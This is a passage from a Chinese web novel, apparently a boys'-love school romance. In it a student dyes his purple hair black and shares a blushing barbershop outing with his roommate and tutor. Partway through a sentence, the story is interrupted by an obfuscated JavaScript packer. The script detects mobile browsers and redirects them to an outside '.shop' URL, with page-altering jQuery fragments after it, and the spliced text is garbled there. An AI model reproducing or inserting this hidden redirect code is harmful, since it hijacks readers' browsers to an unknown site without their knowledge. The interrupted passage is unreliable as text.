镜子里的少年,眉骨锋利,眼尾微微上挑,原本就带着几分桀骜的气质,被那头紫发衬得愈发张扬。这头紫发是他转学前特意定制的,深紫打底,发梢晕染着浅紫,在阳光下会折射出琉璃般的光泽,像是将午夜的星河揉进了发丝里。刚染完那会儿,他几乎每天都会对着镜子端详许久,指尖一遍遍划过发丝,心里满是自得。那时候的他觉得,这颜色绝非俗套的张扬,而是一种极致的艺术感——挣脱平庸的束缚,用强烈的色彩表达自我,既小众又高级,恰好契合他骨子里不愿随波逐流的性子。朋友聚会时,有人调侃他“过于惹眼”,他只淡淡挑眉,心里却藏着一丝隐秘的骄傲,他喜欢这种被目光聚焦的感觉,喜欢这头紫发所象征的、不被定义的独特美感。 可此刻,看着镜子里的紫发,沈月落却莫名皱起了眉。或许是刚睡醒的缘故,头发有些凌乱,几缕紫发贴在额前,衬得他脸色愈发冷白,却也多了几分与周遭格格不入的乖张。他抬手抓了抓头发,指腹摩挲着发丝间熟悉的质感,心里却涌起一股陌生的抗拒。这颜色,怎么看都觉得别扭,像是一件过于华丽的艺术品,被硬塞进了日常的生活场景里,显得突兀又刺眼。 他想起身边熟睡的秦玉。想起秦玉总是干净利落的黑色短发,额前的碎发修剪得整齐,刚好露出饱满的额头,阳光照下来时,会在他眉眼间投下浅浅的阴影,衬得他愈发沉稳清秀。想起晚自习时,秦玉低头讲解题目,黑色的发丝垂落,随着他说话的动作轻轻晃动,指尖握着笔在草稿纸上飞快演算,侧脸线条柔和而专注。那样的干净、那样的规整,与自己这头张扬的紫色形成了鲜明的对比。以前他从不觉得这有什么不妥,甚至认为秦玉的低调与自己的个性恰好互补,可现在,看着镜子里的紫发,他忽然觉得,这颜色像是一道无形的屏障,将他和秦玉隔在了两个世界。 什么时候开始在意的?沈月落自己也说不清。或许是某次秦玉作为学生会会长检查仪容仪表,只是客观地提醒他“校规建议学生保持自然发色”,语气平和,没有丝毫指责,可他看着对方眼里那份纯粹的认真,心里却莫名有些发堵;又或许是分班考后,有同学私下议论“沈月落除了头发张扬,没想到学习这么拼”,那语气里虽无恶意,却让他第一次清晰地意识到,这头紫发早已在无形中给人贴上了“不良少年”的标签。而他,好像并不想再被这样定义,更不想因为这头头发,让秦玉觉得自己和他始终不是一个世界的人。他开始怀念起黑色头发的纯粹,那种不事张扬却自带力量的感觉,或许才更适合现在的自己——那个想要和秦玉并肩前行、一起进步的自己。 镜子里的紫发在暖黄的灯光下显得有些刺眼,沈月落盯着镜中的自己,忽然觉得有些陌生。他抬手拨弄了一下紫发,试图将它理顺,可那突兀的颜色依旧像一根刺,扎在他心里。他想要改变,不是为了迎合谁,只是突然觉得,那种追求极致个性的艺术感,好像已经不再适合现在的生活节奏。他想离秦玉更近一点,近到能和他并肩站在一起时,不会因为这头头发而显得格格不入。 “哗啦”一声,沈月落拧开洗漱台的水龙头,冰凉的自来水涌出,他掬起一捧水拍在脸上,试图驱散那份莫名的烦躁。水珠顺着他的下颌线滑落,滴在白色的瓷砖上,晕开一小片水渍。他抬起头,再次看向镜子,水珠打湿了额前的紫发,颜色变得更深,也更显凌乱。 “啧。”沈月落低低地啧了一声,心里已经有了决定。他要把这头发染回去,染成黑色,最纯粹、最干净的黑色。 他随手拿起搭在毛巾架上的毛巾,擦了擦脸上的水珠,正准备转身走出卫生间,身后却传来一阵轻微的脚步声。沈月落的动作一顿,下意识地看向镜子,只见秦玉穿着一身白色的家居服,站在卫生间门口,眼神里带着刚睡醒的惺忪,还有一丝不易察觉的疑惑。 秦玉是被卫生间里的水声吵醒的。他睁开眼时,身边的位置已经空了,只剩下一点残留的温度。顺着声音走到卫生间门口,就看到沈月落背对着他站在洗漱台前,手里拿着毛巾,头发湿漉漉地贴在额前,那抹紫色在暖黄的灯光下格外醒目。 “早。”秦玉的声音带着刚睡醒的沙哑,打破了卫生间里的安静。 沈月落的身体几不可察地僵了一下,随即缓缓转过身。他的目光落在秦玉身上,对方的头发比平时略显凌乱,几缕碎发垂在额前,衬得他眉眼愈发柔和,身上淡淡的玫瑰味随着动作弥漫开来,与沈月落身上的红酒味交织在一起,形成一种莫名和谐的气息。 “你醒了。”沈月落的声音比平时低了几分,眼神有些不自然地避开了秦玉的视线,落到他的肩膀上。他还没想好怎么跟秦玉说染发的事,此刻被撞个正着,脸颊莫名有些发烫。 秦玉走进卫生间,目光下意识地扫过镜子里沈月落的发顶,那抹紫色依旧张扬,却不知为何,他从沈月落的眼神里读出了一丝嫌弃。“怎么了?”秦玉的声音清冽了些,带着一丝探究,“对着镜子看了很久。” 沈月落深吸一口气,像是下定了某种决心,抬起头直视着秦玉的眼睛。他的目光很认真,没有了平时的漫不经心,只有一种纯粹的纠结和笃定:“秦同学,我想把头发染回去。” “染回去?”秦玉愣了一下,显然没料到他会突然说这个。他的目光再次飘向沈月落的发顶,那抹紫色在他印象里一直是沈月落的标志——张扬、独特,带着一种不被世俗定义的艺术感,他一直以为沈月落是极其喜欢这颜色的。 “嗯。”沈月落重重地点头,语气里带着点自嘲,“以前觉得这颜色很有个性,有艺术感,现在看,却像个没正经的不良少年,跟周围格格不入。”他抬手抓了抓自己的头发,指尖划过紫发,眼神里的嫌弃更明显了,“看久了,反而觉得俗气。” 秦玉看着他眼底真切的嫌弃,心里忽然明白了什么。他想起沈月落偶尔会盯着自己的头发发呆,想起他被同学议论发色时那瞬间僵硬的表情,想起他最近越来越规律的作息和越来越认真的学习态度。原来,这个看似什么都不在乎的少年,也会在意别人的眼光,也会想要改变。他能理解沈月落曾经对这份“艺术感”的执着,毕竟秦玉自己也偶尔会被这种独特的审美吸引,可他更明白,当一种风格与生活节奏相悖时,改变也是一种成长。 “黑色挺好的。”秦玉轻轻点头,语气平和,却带着一种让人信服的力量,“更清爽,也更适合你。”他说的是真心话,潜意识里,他也觉得黑色更配沈月落的五官,只是之前没敢多想。 听到秦玉的认同,沈月落像是松了口气,紧绷的肩膀微微放松下来,嘴角不自觉地勾起一抹浅浅的弧度,眼底的犹豫瞬间散去大半。他就知道,秦玉会懂他的意思。 “那……一起去?”沈月落的语气带着一丝试探,目光落在秦玉的发顶。秦玉的头发确实有些长了,额前的碎发已经快遮住眼睛,鬓角的发丝也有些凌乱,看起来有些不修边幅,与他平时干净利落的形象不太相符。“你的头发也该剪了,有点长了,会挡眼睛,影响看书做题。” 秦玉抬手摸了摸自己的头发,指尖划过略显杂乱的发梢。确实,这段时间忙着学生会的事务,又要帮沈月落补习,他根本没心思打理头发。有时候看书做题,额前的碎发垂下来,还要时不时抬手拨开,确实有些麻烦。 他抬头看向沈月落,对方的目光带着点认真,像是在审视一件需要精心打理的物品,又带着一丝不易察觉的期待。秦玉的心跳莫名漏了一拍,脸颊微微有些发烫,他连忙低下头,轻声应道:“好。” 得到肯定的答复,沈月落的眼睛亮了一下,像是得到了满意的答案,转身就往卫生间外走:“那我去叫司机备车,你收拾一下?” “嗯。”秦玉点点头,看着沈月落的背影消失在卫生间门口,才抬手按了按自己发烫的脸颊。他不明白自己为什么会这么容易脸红,只是和沈月落多说几句话,心里就会泛起一丝异样的涟漪。他把这归结为“兄弟情”——毕竟沈月落是他第一个如此亲近的同桌,甚至是第一个一起同住的朋友,对方的信任和依赖,让他觉得这份情谊格外珍贵。 十分钟后,两人并肩走出别墅大门。司机已经将车停在门口,黑色的轿车在晨光中泛着沉稳的光泽。沈月落率先拉开后座车门,侧身站在一旁,目光落在秦玉身上,带着一种自然的礼让。秦玉弯腰坐进车里,鼻尖萦绕着沈月落身上淡淡的红酒味,混合着阳光晒过的气息,让他莫名有些不自在,下意识地往窗边挪了挪,拉开了一点距离。 沈月落随后坐进来,两人之间隔着一拳左右的空隙。车内很安静,只有空调出风口细微的风声。沈月落侧头看向窗外,街道两旁的梧桐树刚刚抽出新芽,嫩绿的叶子在阳光下泛着光泽,飞快地向后倒退。他的手指无意识地敲击着膝盖,心里却在回味刚才秦玉答应时泛红的耳尖。 以前他痴迷这头紫发的艺术感,觉得它是自我表达的最佳载体,可自从和秦玉做了同桌,甚至住到一起后,他开始不自觉地在意很多事情。他会在意自己说话时的语气,生怕太过粗鲁吓到对方;会在意自己的穿着,不再像以前那样随意套上一件衣服就出门;甚至会在意自己身上的味道,特意换成了秦玉似乎并不反感的红酒香调。这种变化连他自己都觉得陌生,却又控制不住。他想靠近秦玉,想成为能和对方并肩站在一起的人,而不是那个只会靠着一头怪发吸引注意力的“不良少年”。 秦玉也没说话,指尖捏着衣角,目光落在膝盖上。他能感觉到身边沈月落的视线偶尔会落在自己身上,带着点探究的意味,让他的脸颊微微发烫。他偷偷用眼角的余光瞥了一眼沈月落,对方正看着窗外,侧脸线条利落,下颌线绷得笔直,哪怕只是一个简单的侧影,也透着一股生人勿近的气场。可秦玉知道,这只是沈月落的保护色,私下里的他,会因为一道题解不出来而懊恼地抓头发,会因为得到表扬而耳尖泛红,会记得自己不吃香菜而在带午餐时特意避开,甚至会在夜里睡觉的时候,下意识地往他这边挪,像是在寻找热源。这些细微的瞬间,让他觉得沈月落并非像传闻中那样难以接近,反而带着一种笨拙的真诚。 车子行驶了大约十五分钟,停在了一条僻静的老街巷口。沈月落率先推开车门,转头对秦玉说道:“到了,里面走几步就到。” 秦玉跟着他下车,目光扫过巷口。这条老街保留着老式砖瓦房的建筑风格,墙面爬着些许绿色藤蔓,空气里弥漫着淡淡的烟火气,夹杂着隔壁早餐店飘来的豆浆香味,和沈月落平时常去的繁华商圈截然不同。沈月落熟门熟路地往里走,脚步轻快,像是对这里极为熟悉。 走了大约几十米,一家装修简约的理发店出现在眼前。店面不大,门口挂着一块木质招牌,上面用烫金字体刻着“墨色”二字,透着一股低调的质感。店面玻璃擦得一尘不染,能看到里面整齐摆放的理发椅和工具台,墙上挂着几幅风景摄影,整体氛围安静而舒适。 “就是这儿了。”沈月落推开玻璃门,风铃发出一串清脆的响声。 店里没有其他顾客,只有一位穿着灰色工装围裙的中年男人正在擦拭理发工具。男人约莫四十多岁,头发修剪得干净利落,看到沈月落,眼睛一亮:“月落?今天怎么有空过来?还带了朋友?” “张叔,好久不见。”沈月落的语气比平时放松了许多,带着点熟稔,“帮我染个黑色,纯黑,不用任何挑染,越自然越好。”他指了指身边的秦玉,“顺便帮他剪个头发,修得清爽点就行,不用太复杂,方便看书做题。” 张叔的目光在两人身上转了一圈,视线在沈月落的紫发上停留了片刻,又看向秦玉,眼里带着一丝好奇,却没多问——大概是见多了年轻人换发色的心血来潮,只是爽快地应道:“没问题。先染还是先剪?” “我先染吧,秦同学你先剪?”沈月落转头看向秦玉,语气里带着询问,没有丝毫强迫的意味。 “都可以。”秦玉轻声说道,走到剪发区的椅子上坐下。他的动作很轻,坐在宽大的理发椅上,腰背挺直,像一株挺拔的青松,身上淡淡的玫瑰味在安静的空间里弥漫开来,与店里洗发水的清香交织在一起。 张叔拿出围布,小心翼翼地围在秦玉身上,动作轻柔:“同学,想怎么剪?” 秦玉抬头看向镜子里的自己,额前的碎发确实太长了,遮住了一部分眼睛。他想起沈月落刚才说的“清爽点”,轻声说道:“稍微剪短点,额前修一下,露出眉毛就行,两侧也修得整齐些,不用太复杂,利落就好。” “好嘞,放心交给我。”张叔应了一声,拿起剪刀和梳子,开始梳理秦玉的头发。 剪刀开合的声音清脆悦耳,在安静的店里格外清晰。秦玉的目光无意识地飘向旁边的沈月落。张叔已经拿出了染发膏和工具,正在调配黑色染料。沈月落坐在染发区的椅子上,腰背挺得笔直,平日里带着点桀骜的眼神此刻闭着,长长的睫毛在眼睑下投下一片小小的阴影,竟显得有些乖巧。阳光透过窗户落在他身上,给冷白的皮肤镀上了一层淡淡的金光,让他看起来少了几分凌厉,多了几分柔和。 秦玉看着他安静的模样,脸颊微微泛红。他发现自己越来越容易被沈月落的各种样子吸引,认真解题时的专注,得到表扬时的羞涩,夜里睡觉时的依赖,甚至此刻闭着眼等待染发的乖巧,都让他心里泛起一丝异样的感觉。他连忙收回目光,看向镜子里的自己,却正好对上张叔带着笑意的眼神,那眼神里带着点了然,让他的脸颊瞬间红透了,连忙低下头,避开了视线。 沈月落虽然闭着眼睛,却能感觉到秦玉的目光落在自己身上。那种视线很轻,带着点试探,像是羽毛轻轻拂过皮肤,让他的耳根悄悄发烫。他能想象到秦玉坐在那里的样子,或许是低着头,或许是看着镜子,脸颊一定又红了。这个念头让他的嘴角忍不住微微上扬,心里泛起一丝莫名的愉悦。 “同学,你这头发发质挺好的,就是有点干,平时可以多护理一下。”张叔一边给秦玉剪头发,一边闲聊道,“你和月落是同学?我记得他以前头发挺张扬的,说是喜欢这颜色的艺术感,每次来都要叮嘱我弄得特别点,今天怎么突然想染黑了?” 秦玉的心跳莫名快了几分,轻声说道:“我们是同桌,也是室友,我平时帮他补补课。他说觉得黑色顺眼,更适合现在的状态。”他特意加了“补课”两个字,像是在强调两人之间“家教与学生”的附加关系,试图冲淡那份莫名的暧昧。 “室友兼补课搭档啊?”张叔笑了笑,手里的剪刀不停,“那感情好。月落这小子,看着不好接近,其实人挺仗义的。就是以前太执着于那份‘个性’了,总想着与众不同,现在染回黑色,看着稳重多了,跟你站在一起,倒挺般配的。” “般配”两个字像电流一样窜过秦玉的耳朵,让他的脸颊瞬间红透了,像是熟透的苹果,连耳根都烧了起来。他张了张嘴,想解释什么,却又不知道该说些什么,只能下意识地低下头,手指紧紧攥着围布的边角,心里乱糟糟的。他告诉自己,张叔只是随口一说,可“般配”这两个字,却在他心里反复回响,挥之不去。 沈月落也听到了张叔的话,原本闭着的眼睛猛地睁开,看向镜子里秦玉泛红的脸颊,自己的耳根也瞬间红了。他想开口反驳,说只是同桌和室友而已,可话到嘴边又咽了回去。心里像是有什么东西被触动了,带着点慌乱,又有点莫名的期待。他偷偷看向秦玉,对方低着头,长长的睫毛掩盖住眼底的情绪,只露出泛红的脖颈,让他的心跳瞬间加速,连忙闭上眼睛,假装继续等待染发。 张叔似乎没察觉到两人的异样,依旧自顾自地说道:“现在的年轻人啊,能处得这么好的同桌兼室友不多了。月落以前来店里,都是一个人,话也不多,今天带着你,话都多了点。” 秦玉的脸颊更烫了,心里却泛起一丝暖意。他偷偷看了一眼沈月落,对方闭着眼睛,嘴角却带着一丝浅浅的笑意,耳根依旧泛红。他忽然觉得,被人这样误会,好像也不是什么坏事。 剪刀开合的声音持续了大约二十分钟,张叔收起工具,拿过镜子递到秦玉面前:“同学,你看看,这样怎么样?清爽多了吧,看书做题也不挡眼睛了。” 秦玉接过镜子,看向里面的自己。额前的碎发被剪短了,露出了饱满的额头和清秀的眉眼,两侧的头发也修得整齐利落,原本有些凌乱的发型变得清爽干练,整个人看起来精神了许多,也更显干净利落。他轻轻点头:“挺好的,谢谢张叔。” “不客气。”张叔笑了笑,转身去打理沈月落的头发,“月落,染发膏调好了,准备开始了。” 沈月落点点头,依旧闭着眼睛。张叔戴上手套,将黑色的染发膏均匀地涂抹在他的头发上,动作细致。黑色的膏体一点点覆盖住紫色的发丝,像是在抹去他身上张扬的标签,露出原本的模样。 秦玉坐在一旁的休息区,目光不由自主地落在沈月落身上。看着紫色的发丝被黑色覆盖,他的心里泛起一丝莫名的期待。他想看看,染回黑色头发的沈月落,会是什么样子。这种期待让他有些心慌,却又控制不住。 沈月落能感觉到染发膏的微凉触感,以及张叔轻柔的按摩。他的心里很平静,却又带着一丝莫名的紧张。他不知道染回黑色后,秦玉会怎么看,也不知道自己会不会习惯。他只知道,自己想做出改变,想离秦玉更近一点,想成为更好的人。曾经那份对紫发艺术感的执着,此刻已经被一种更纯粹的渴望取代——渴望被认可,渴望与身边的人并肩同行。 染发的过程持续了一个小时,张叔时不时地检查染发的效果,确保颜色均匀。秦玉就坐在一旁,拿出手机,却没什么心思看,目光总是不自觉地飘向沈月落。阳光透过窗户落在沈月落身上,给他镀上了一层淡淡的金光,让他原本就轮廓分明的侧脸更加立体。偶尔有风吹过,带着窗外的草木清香,拂动他额前未被染发剂覆盖的碎发,让他看起来多了几分柔和。 “好了,去冲一下吧。”张叔终于停下了手里的动作。 沈月落站起身,跟着张叔走向冲洗区。经过秦玉身边时,他的脚步顿了顿,目光落在秦玉的新发型上,眼里带着一丝惊艳。剪短头发后的秦玉,少了几分青涩,多了几分干净利落,眉眼显得更加清晰,白皙的皮肤衬得五官愈发精致,身上淡淡的玫瑰味似乎也更明显了些。这个发现让他的心跳漏了一拍,脸颊再次泛红,快步跟着张叔离开了。 秦玉也看着沈月落的背影,心里有些期待。他能想象到沈月落染回黑发的样子,一定很帅气。这种期待让他的心里泛起一丝异样的情绪,像是有什么东西在悄悄萌芽。 沈月落坐在冲洗区的椅子上,热水顺着发丝流淌下来,将黑色的染发膏冲净,露出了原本的黑发底色。张叔一边冲洗,一边按摩着他的头皮:“月落,你这黑发底子挺好的,比紫色好看多了,显得稳重。以前你总说紫色有艺术感,现在换了黑色,倒觉得更耐看。” 沈月落没说话,只是闭着眼睛,脑子里全是刚才在镜子里看到的秦玉的样子。剪短头发后的秦玉,像是褪去了一层朦胧的面纱,露出了原本清秀利落的模样,让他的心里泛起一丝异样的感觉。这种感觉很陌生,却又很强烈,让他有些不知所措。 冲洗完毕,沈月落回到染发区,张叔拿着吹风机给他吹干头发。随着吹风机的轰鸣,黑色的发丝一点点变得蓬松干燥,贴在他的额前和耳后,勾勒出清晰的轮廓。原本张扬的气质被沉稳取代,冷白的肤色配上纯黑的头发,竟有种惊人的帅气,少了几分校霸的桀骜,多了几分少年人的干净利落。 秦玉坐在一旁的椅子上,目光不由自主地落在沈月落身上。当看到沈月落完全染回黑色头发的模样时,他的呼吸微微一滞,脸颊瞬间红了。黑色的头发像是为沈月落量身定做的,衬得他的眉眼更加深邃,轮廓更加分明,那种介于少年与青年之间的青涩与沉稳交织在一起,竟让他有些移不开目光。沈月落本身的五官就很立体,眉骨高挺,鼻梁笔直,唇线清晰,只是以前被紫色头发的张扬掩盖了几分,如今染回黑色,那份隐藏的帅气彻底显露出来,干净、利落,又带着一丝不易察觉的凌厉。 沈月落也感觉到了秦玉的视线,吹干头发后,他站起身,走到秦玉面前,有些不自然地摸了摸头发:“秦同学,怎么样?会不会很奇怪?” 秦玉的目光下意识地避开,脸颊依旧发烫,声音有些不自然:“挺……挺好看的,比紫色顺眼多了,很干净。”他说的是真心话,黑色头发的沈月落,看起来更顺眼,也更让人觉得亲近。 听到这话,沈月落的心里像是被什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182135|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西填满了,暖暖的,嘴角忍不住微微上扬,耳根也泛起一丝淡红:“是吗?我也觉得。”他抬手摸了摸自己的黑发,指尖传来柔软的触感,这种回归本真的感觉,让他觉得格外踏实。他能感觉到,自己和秦玉之间的距离,似乎又拉近了一点。曾经对紫发艺术感的执念,此刻已经烟消云散,取而代之的是一种更真切的满足感。 张叔站在一旁,看着两人泛红的脸颊和躲闪的目光,眼里闪过一丝了然的笑意,却没点破,只是收拾着工具:“好了,都弄完了。月落,下次要剪头发或者染发,随时过来。” “谢了张叔。”沈月落拿出手机付了钱,转头对秦玉说道,“秦同学,走吧,回家。” “嗯。”秦玉点点头,跟着他走出理发店。 走出店门,阳光正好,洒在两人身上,带着温暖的气息。沈月落的黑色头发在阳光下泛着柔和的光泽,秦玉的短发也被晒得微微发烫。两人并肩走在人行道上,距离比平时近了一些,肩膀偶尔会不小心碰到一起,然后又飞快地分开,各自脸颊泛红,却谁也没有说话。 街道两旁的梧桐树被风吹得沙沙作响,像是在诉说着什么。秦玉能闻到沈月落身上淡淡的红酒味,混合着洗发水的清香,让他有些心神不宁。他偷偷看了一眼身边的沈月落,对方的黑发在阳光下显得格外柔顺,侧脸线条分明,嘴角带着浅浅的笑意,那种干净利落的帅气,让他的心跳越来越快。他告诉自己,这只是因为沈月落换了发型,看起来更顺眼了,纯属兄弟间的欣赏,没什么别的意思。 沈月落也能感觉到身边秦玉的气息,干净而清爽,带着淡淡的玫瑰味,像夏日里的微风,让他心里泛起一丝涟漪。他转头看向秦玉,对方的侧脸在阳光下显得格外柔和,长长的睫毛在眼睑下投下一片小小的阴影,泛红的脸颊像是熟透的樱桃,让人忍不住想要靠近。这个念头让他的心跳瞬间加速,连忙转过头,看向前方,耳根红得快要滴血。他也告诉自己,这只是因为秦玉剪了头发,看起来更精神了,作为同桌和“学生”,对“家教老师”的欣赏是应该的,没什么不妥。 “秦同学,”沈月落率先打破沉默,声音比平时低了些,“你剪了头发,看着更清爽了,以后看书做题也方便。” 秦玉的脸颊更烫了,轻声说道:“你也是,黑色头发很适合你,比以前稳重多了。” 沈月落的嘴角笑意更深了,心里像是喝了蜜一样甜。他能感觉到秦玉的语气里带着真诚的赞赏,这种被认可的感觉,比任何表扬都让他开心。他想起以前,别人称赞他的紫发有艺术感时,他只是觉得理所当然,可现在,秦玉一句简单的“适合你”,却让他心里泛起阵阵暖意。 两人就这样并肩走着,没有太多的话语,却弥漫着一种说不清道不明的暧昧气息。路过一家奶茶店时,沈月落停下脚步:“秦同学,要不要喝杯奶茶?算是……谢谢你这段时间的辅导。” “不用了,谢谢。”秦玉摇摇头,声音清冽。 “尝尝吧,这家店的原味奶茶挺不错的,不甜腻,适合看书的时候喝。”沈月落不由分说地拉着秦玉走进奶茶店,动作自然,带着点不容拒绝的意味。秦玉的手腕被他温热的手掌握住,像是有电流窜过,让他的脸颊瞬间红透了,想要挣脱,却又有些舍不得。那种温热的触感,让他心里泛起一丝异样的感觉,久久不散。 沈月落也感觉到了秦玉手腕的微凉,以及对方微微僵硬的身体。他下意识地松开手,耳根泛红,有些不自然地说道:“我经常喝这家的,味道挺好。” “嗯。”秦玉低下头,不敢看他,心里却乱糟糟的。刚才那短暂的触碰,像是在他心里投下了一颗石子,泛起层层涟漪。他努力告诉自己,这只是朋友间的正常接触,没什么大不了的,可脸颊的温度却怎么也降不下来。 “老板,两杯原味奶茶,少糖,常温。”沈月落对着柜台说道,声音有些不自然。 很快,两杯奶茶递了过来。沈月落接过奶茶,递给秦玉一杯:“拿着吧,刚剪完头发,喝点东西润润喉。” 秦玉接过奶茶,指尖碰到温热的杯壁,心里也泛起一丝暖意。他小声说道:“谢谢。” 两人拿着奶茶,继续往前走。偶尔喝一口奶茶,甜甜的味道在舌尖蔓延,让两人之间的气氛缓和了不少。 “秦同学,”沈月落忽然开口,声音带着点认真,“以后我有不懂的题,还会经常问你,你不会觉得烦吧?” “不会。”秦玉摇摇头,转头看向他,眼里带着真诚,“既然答应帮你补习,就会负责到底。而且,你进步很快,教你也很省心。” 沈月落看着他清澈的眼眸,心里忽然充满了信心。他重重地点点头:“好,我一定努力,下次争取冲进年级前三百,不辜负你的辅导。” “我相信你。”秦玉的声音清冽而坚定,带着一种让人信服的力量。 沈月落的心里暖暖的,嘴角忍不住微微上扬。他看着身边的秦玉,忽然觉得,染回黑色头发是他做过最正确的决定。这种干净利落的模样,让他觉得自己离秦玉更近了一步,也让他更有勇气去面对未来的挑战。曾经对紫发艺术感的执着,此刻已经变成了对未来的期许,而这份期许里,有秦玉的陪伴。 两人并肩走了大约半个小时,走到了十字路口。沈月落的司机已经在等了。“秦同学,上车吧,回家。”沈月落停下脚步,转头对秦玉说道。 “嗯。”秦玉点点头,跟着他钻进车里。 车子缓缓驶离,朝着沈家别墅的方向开去。沈月落坐在车里,转头看向身边的秦玉,对方正低头喝着奶茶,侧脸线条柔和,长长的睫毛在眼睑下投下一片小小的阴影。阳光透过窗户落在他身上,给白色的家居服镀上了一层淡淡的金光,让他看起来格外干净。 沈月落的心里泛起一丝异样的感觉,他连忙转过头,看向窗外。街道两旁的风景飞快地向后倒退,可他的脑子里,却全是秦玉的样子——剪短头发后的清爽模样,讲解题目时认真的眼神,被调侃时泛红的脸颊,还有刚才不小心触碰时的温热触感。这些画面交织在一起,形成了一幅温暖而清晰的画面,让他的心里泛起阵阵暖意。 秦玉也感觉到了沈月落的目光,他的脸颊微微发烫,假装专注地喝着奶茶,心里却乱糟糟的。他能感觉到沈月落的变化,不仅仅是头发颜色的改变,还有他待人接物的态度,变得更加沉稳,也更加温柔。这种变化让他有些心慌,却又忍不住被吸引。 车子行驶了大约二十分钟,终于停在了沈家别墅门口。沈月落率先推开车门,转头对秦玉说道:“到了,秦同学。” “嗯。”秦玉点点头,跟着他走进别墅。 别墅里静悄悄的,阳光透过落地窗洒在客厅的地板上,带着温暖的气息。沈月落换了鞋,转头对秦玉说道:“你先坐会儿,我去给你倒杯水。” “不用麻烦了,我自己来就行。”秦玉说道,却还是跟着沈月落走进了客厅。 沈月落走进厨房,很快端着两杯温水走了出来,递给秦玉一杯:“喝点水吧。” “谢谢。”秦玉接过水杯,指尖碰到温热的杯壁,心里也泛起一丝暖意。 两人坐在客厅的沙发上,距离不远不近,中间隔着一个扶手。阳光透过窗户洒在他们身上,带着温暖的气息。沈月落的黑色头发在阳光下泛着柔和的光泽,秦玉的短发也被晒得微微发烫。 “秦同学,”沈月落忽然开口,声音比平时低了些,“今天谢谢你陪我去剪头发。” “不用谢,我也正好要剪头发。”秦玉的声音清冽,脸颊微微泛红。 沈月落看着他泛红的脸颊,嘴角忍不住微微上扬:“其实,以前我觉得那头紫发挺有艺术感的,总想着与众不同。”他顿了顿,目光落在自己的黑发上,语气里带着一丝释然,“现在想想,那种艺术感,或许只是一时的执念。现在染回黑色,反而觉得更踏实。” 秦玉看着他眼底的释然,心里也泛起一丝暖意:“每个人都有自己的审美,以前喜欢,现在改变,都是很正常的事情。重要的是,自己觉得舒服就好。” “嗯。”沈月落重重地点点头,目光落在秦玉身上,眼里带着一丝真诚,“而且,和你站在一起,黑色头发也更般配。” 说完这句话,沈月落的脸颊瞬间红了,他连忙低下头,假装喝水,心里却乱糟糟的。他也不知道自己为什么会突然说出这句话,像是脱口而出,又像是压抑了很久的心里话。 秦玉的脸颊也瞬间红透了,像是熟透的苹果,连耳根都烧了起来。他张了张嘴,想解释什么,却又不知道该说些什么,只能下意识地低下头,手指紧紧攥着水杯,心里泛起阵阵涟漪。“般配”这两个字,像是一颗石子,在他心里激起了层层浪花,久久不能平息。 客厅里陷入了沉默,只有阳光透过窗户洒在地板上的光影,和两人略显急促的呼吸声。空气中弥漫着淡淡的红酒味和玫瑰味,交织在一起,形成一种莫名和谐的气息。 过了好一会儿,秦玉才率先打破沉默,声音有些不自然:“时间不早了,我先回房间了。” “好,好。”沈月落连忙点头,像是得到了赦免,“我也回房间整理一下。” 两人几乎是同时站起身,各自朝着楼梯的方向走去。走到楼梯口时,他们的肩膀不小心碰到了一起,然后又飞快地分开,各自脸颊泛红,说了声“不好意思”,便匆匆走上楼梯,回了自己的房间。 沈月落回到房间,关上门,靠在门板上,心脏还在砰砰直跳。他抬手摸了摸自己的黑发,指尖传来柔软的触感,心里却乱糟糟的。他不知道自己为什么会突然说出“般配”这两个字,也不知道秦玉会怎么想。他只知道,自己的心里,对秦玉有着不一样的感觉,这种感觉超越了同桌的情谊,也超越了“学生”对“家教老师”的依赖。 秦玉回到房间,也靠在门板上,脸颊依旧发烫。他能感觉到自己的心跳得很快,心里像是有无数只小鹿在乱撞。沈月落的那句话,一直在他心里回响,让他有些不知所措。他告诉自己,这只是沈月落的随口一说,不必当真,可心里却忍不住泛起一丝期待。他知道,自己对沈月落的感觉,已经不仅仅是同桌的情谊,更像是一种难以言说的依赖和喜欢。 阳光渐渐西斜,透过窗户洒在房间里,给整个别墅镀上了一层温暖的金光。沈月落和秦玉各自坐在自己的房间里,心思却都不在自己的事情上。他们的脑海里,都回荡着今天在理发店的对话,都记得对方泛红的脸颊和躲闪的目光,都感受着那份说不清道不明的暧昧与悸动。 32. 情敌+1 周二下午的阳光带着些许慵懒,透过教学楼的玻璃窗,在走廊的地板上投下长长的光影。下课铃声刚落,教室里还残留着笔尖划过纸张的余韵,沈月落便已经收拾好桌上的东西,起身走到秦玉的座位旁。他的黑色短发在阳光下泛着柔和的光泽,比刚染回黑色时更显服帖,衬得那张轮廓分明的脸少了几分往日的桀骜,多了几分少年人的干净利落。 “秦同学,”沈月落的声音不高,却带着一种不容置疑的笃定,打破了教室末尾的安静,“下午没课,一起去操场打球?” 秦玉刚整理好桌上的练习册,闻言动作一顿,抬起头看向他。少年的睫毛很长,在眼睑下投下一片浅浅的阴影,干净的眉眼间带着一丝不易察觉的犹豫,似乎在权衡着什么。他手头确实还有几道未解开的数学难题,原本打算利用下午的空闲时间攻克,可对上沈月落那双带着期待的眼睛,拒绝的话到了嘴边又咽了回去。 “嗯。”片刻后,秦玉轻轻点头,声音清冽如泉水,“好。” 得到肯定的答复,沈月落的嘴角不自觉地勾起一抹浅浅的笑意,眼底的光芒亮了几分,像是得到了心仪礼物的少年。他没有催促,只是站在一旁,安静地等着秦玉将练习册放进抽屉,动作轻柔,生怕打扰到对方。教室里的同学陆续离开,三三两两地讨论着周末的计划,或是涌向食堂的方向,没人过多留意这对特殊的同桌——毕竟,自从沈月落转到一班,成为秦玉的同桌后,两人形影不离的样子,早已不算什么新鲜事。 